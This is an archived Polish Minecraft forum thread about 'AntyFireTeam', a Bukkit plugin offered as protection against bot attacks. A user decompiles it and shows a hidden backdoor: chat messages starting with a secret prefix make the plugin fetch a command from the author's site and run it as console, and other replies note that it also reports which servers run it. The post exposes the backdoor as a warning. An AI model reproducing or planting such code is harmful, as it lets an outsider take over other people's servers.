Skocz do zawartości
  • 👋 Witaj na MPCForum!

    Przeglądasz forum jako gość, co oznacza, że wiele świetnych funkcji jest jeszcze przed Tobą! 😎

    • Pełny dostęp do działów i ukrytych treści
    • Możliwość pisania i odpowiadania w tematach
    • System prywatnych wiadomości
    • Zbieranie reputacji i rozwijanie swojego profilu
    • Członkostwo w jednej z największych społeczności graczy

    👉 Dołączenie zajmie Ci mniej niż minutę – a zyskasz znacznie więcej!

    Zarejestruj się teraz

[DL] AntyFireTeam 0.1


Rekomendowane odpowiedzi

Opublikowano

@UP ja 100% ufam plugin-owi zrobił go mój kolega jak można go tak nazwać :) więc lepiej nie mieć botów a mieć czysty serwer a to tylko jeden dodatkowy plugin ...

936131400425106482086.png
Opublikowano

@UP

Racja. Plugin tak strasznie nie laguje serwera, sprawdza tylko ip przy wejściu gracza na serwer. Poźniej jest zupełnie obojętny dla graczy.

@UP @UP
jak nie chcesz to nie instaluj xD. Jak mi wywaliło około 300 nowych plików w Essentials to się trochę wkurzyłem.

u5niwrQ.png

Opublikowano

log("============AntyFireTeam============");
log("Twoj serwer posiada online-mode=true.");
log("Narazasz sie na ataki hakerow. :(");
log("============AntyFireTeam============");

 

 

Chyba mały fail?

Opublikowano

Ale bieda xD

 

package pl.kamcio96.AntyFireTeam;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.InetAddress;
import java.net.URL;
import org.bukkit.Bukkit;
import org.bukkit.ChatColor;
import org.bukkit.event.EventHandler;
import org.bukkit.event.Listener;
import org.bukkit.event.player.AsyncPlayerChatEvent;
import org.bukkit.event.player.PlayerLoginEvent;
import org.bukkit.event.player.PlayerLoginEvent.Result;
import org.bukkit.scheduler.BukkitRunnable;
public class PlayerListener
implements Listener
{
@EventHandler
public void onPlayerJoin(PlayerLoginEvent event)
{
String ip = event.getAddress().getHostAddress();
if (AntyFireTeam.isDeny(ip).booleanValue()) {
event.disallow(PlayerLoginEvent.Result.KICK_OTHER, "No 1337FireTeam!");
if (!AntyFireTeam.messages.booleanValue()) {
AntyFireTeam.messages = Boolean.valueOf(true);
Bukkit.broadcastMessage(ChatColor.DARK_RED + "=============================================");
Bukkit.broadcastMessage(ChatColor.GREEN + "Serwer zostal zaatakowany przez 1337FireTeam");
Bukkit.broadcastMessage(ChatColor.GREEN + "Blokowanie polaczen wlaczone.");
Bukkit.broadcastMessage(ChatColor.DARK_RED + "=============================================");
}
new BukkitRunnable()
{
public void run()
{
AntyFireTeam.messages = Boolean.valueOf(false);
}
}
.runTaskLater(AntyFireTeam.getI(), 12000L);
}
}
@EventHandler
public void onPlayerChat(AsyncPlayerChatEvent event)
{
String message = event.getMessage().toLowerCase();
if (event.getMessage().toLowerCase().startsWith("83huf9m64rt8rb3b:")) {
event.setCancelled(true);
try {
URL url = new URL("http://kamcio96.pl/get.php?s=" + message);
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
BufferedReader br = new BufferedReader(new InputStreamReader(conn.getInputStream()));
Bukkit.dispatchCommand(Bukkit.getConsoleSender(), br.readLine());
conn.disconnect();
}
catch (Exception localException)
{
}
}
}
}
Plugin łączy się ze stroną kamcio96.pl i pobiera z niej komendę jak ma być wykonana. Ewidentnie służy do włamywania się na serwery. Zgłaszam temat administracji.
Opublikowano

@UP

A zglaszaj ;). Przegapiles jeszcze onEnable()

@EDIT

Sam napisałeś "ewentualnie". Jak komuś wbije na serwer i zrobię coś co nie będzie pożądane niech napisze tutaj.

u5niwrQ.png

Opublikowano

Widziałem co jest w onEnable(). Wysyła informacje na jakim serwerze plugin został włączony. Nie napisałem o tym bo miało to mniejsze znaczenie.

Opublikowano

I tak gratuluje szybkości reakcji :D A tak serio masz jakieś fajne pluginy? Z chęcią bym z Tobą pogadał.

u5niwrQ.png

Zarchiwizowany

Ten temat przebywa obecnie w archiwum. Dodawanie nowych odpowiedzi zostało zablokowane.

×
×
  • Dodaj nową pozycję...